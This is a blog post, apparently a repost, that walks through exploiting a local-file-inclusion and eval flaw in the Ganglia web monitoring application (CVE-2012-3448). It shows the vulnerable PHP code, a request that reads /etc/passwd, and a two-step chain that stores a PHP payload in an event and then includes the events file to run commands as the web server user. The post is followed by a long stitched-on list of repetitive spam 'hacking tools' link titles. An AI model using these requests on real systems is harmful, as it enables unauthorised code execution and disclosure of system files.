http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448Related links
- Hacking Tools For Kali Linux
- Hacking Tools Online
- Hacking Tools 2019
- Pentest Tools Port Scanner
- Hacker
- Android Hack Tools Github
- Bluetooth Hacking Tools Kali
- Pentest Recon Tools
- Hack Tools Download
- Hacker
- Hacker Tools Hardware
- Hacker Tools For Ios
- Hacking Tools For Beginners
- Hacker Security Tools
- Pentest Tools Bluekeep
- How To Make Hacking Tools
- Hack Tools Github
- Hacker Tools For Pc
- Hack Tools
- Pentest Tools Url Fuzzer
- Black Hat Hacker Tools
- Hacking App
- Hacking Tools For Mac
- Hack Tool Apk No Root
- Pentest Recon Tools
- Beginner Hacker Tools
- Pentest Tools For Ubuntu
- Hacker Tools Software
- Hacking Tools For Windows
- Hacking Tools Mac
- Hacking Tools 2020
- Computer Hacker
- Pentest Reporting Tools
- Hack Tools
- Hacker Tool Kit
- Hacker Tools For Pc
- Hacker Tool Kit
- Black Hat Hacker Tools
- Hacker Tools Online
- Hacking Tools For Games
- Physical Pentest Tools
- Pentest Box Tools Download
- How To Install Pentest Tools In Ubuntu
- Hack Website Online Tool
- Best Hacking Tools 2020
- Pentest Recon Tools
- Hacking Tools Name
- Hackrf Tools
- Hacker Techniques Tools And Incident Handling
- What Are Hacking Tools
- Tools Used For Hacking
- Pentest Tools Alternative
- Hacker Tools List
- Hack Tool Apk No Root
- Hacker Tools Apk Download
- Hack Tools For Games
- Hacker Tools Free
- How To Hack
- Hack Tools For Mac
- Computer Hacker
- Pentest Tools
- Black Hat Hacker Tools
- Blackhat Hacker Tools
- Pentest Tools Windows
- New Hacker Tools
- Easy Hack Tools
- Hacker
- Hacking Tools And Software
- Nsa Hacker Tools
- Hacker
- Hacking Tools For Mac
- Hacking Tools For Pc
- Pentest Tools For Ubuntu
- Hacking Tools Usb
- Pentest Tools
- Github Hacking Tools
- Pentest Tools List
- Hacking Tools For Kali Linux
- Pentest Tools Windows
- Hacker Tools For Mac
- Hack Tools For Pc
- Pentest Tools Find Subdomains
- Ethical Hacker Tools
- Hacking Tools Name
- Hack Apps
- Pentest Automation Tools
- Hack Tools Github
- Hacking Tools Download
- How To Install Pentest Tools In Ubuntu
- Hacker Tools For Pc
- Hack Tools For Ubuntu
- Best Hacking Tools 2019
- Hacker Search Tools
- Hacker Tools Github
- Beginner Hacker Tools
- Hack Tools Pc
- Hacking Tools Download
- Tools 4 Hack
- Hacking Tools For Windows
- Hacker Tools Github
- Hacker Tools Free
- Hacking Tools Windows 10
- Hacker Tools List
- Beginner Hacker Tools
- Github Hacking Tools
- Hacker Security Tools
- Pentest Tools Website Vulnerability
- Pentest Tools For Mac
- Game Hacking
- Pentest Automation Tools
- Hacking Tools Download
- Pentest Tools Nmap
- Nsa Hacker Tools
- Hacking Tools Name
- Pentest Automation Tools
- Hacking Tools And Software
- Hacking Tools Mac
- Pentest Tools Review
- Growth Hacker Tools
- Hacker Tools Software
- Hacking Tools And Software
- Best Hacking Tools 2019
- Best Hacking Tools 2020
- Hacker Tools For Ios
- Hack Apps
- Hacking Tools Github
- Hacking Tools For Games
- Android Hack Tools Github
- Hacking Tools Mac
- Pentest Tools Github
- Black Hat Hacker Tools
- Hacking Tools For Pc
- Hacking Tools For Games
- Pentest Tools Windows
- Hack Tools For Mac
- Hack Tools Download
- Pentest Tools For Ubuntu
- Hacking App
- Hacking Tools Mac
- Hack Rom Tools
- Nsa Hack Tools Download
- Hacking Tools 2020
- Hack Tools Github
- Hack Tool Apk
- Pentest Tools Online
- Black Hat Hacker Tools
- Hacking Apps
- Pentest Tools For Ubuntu
- Hacker Search Tools
- Hacker Tools Free
Tidak ada komentar:
Posting Komentar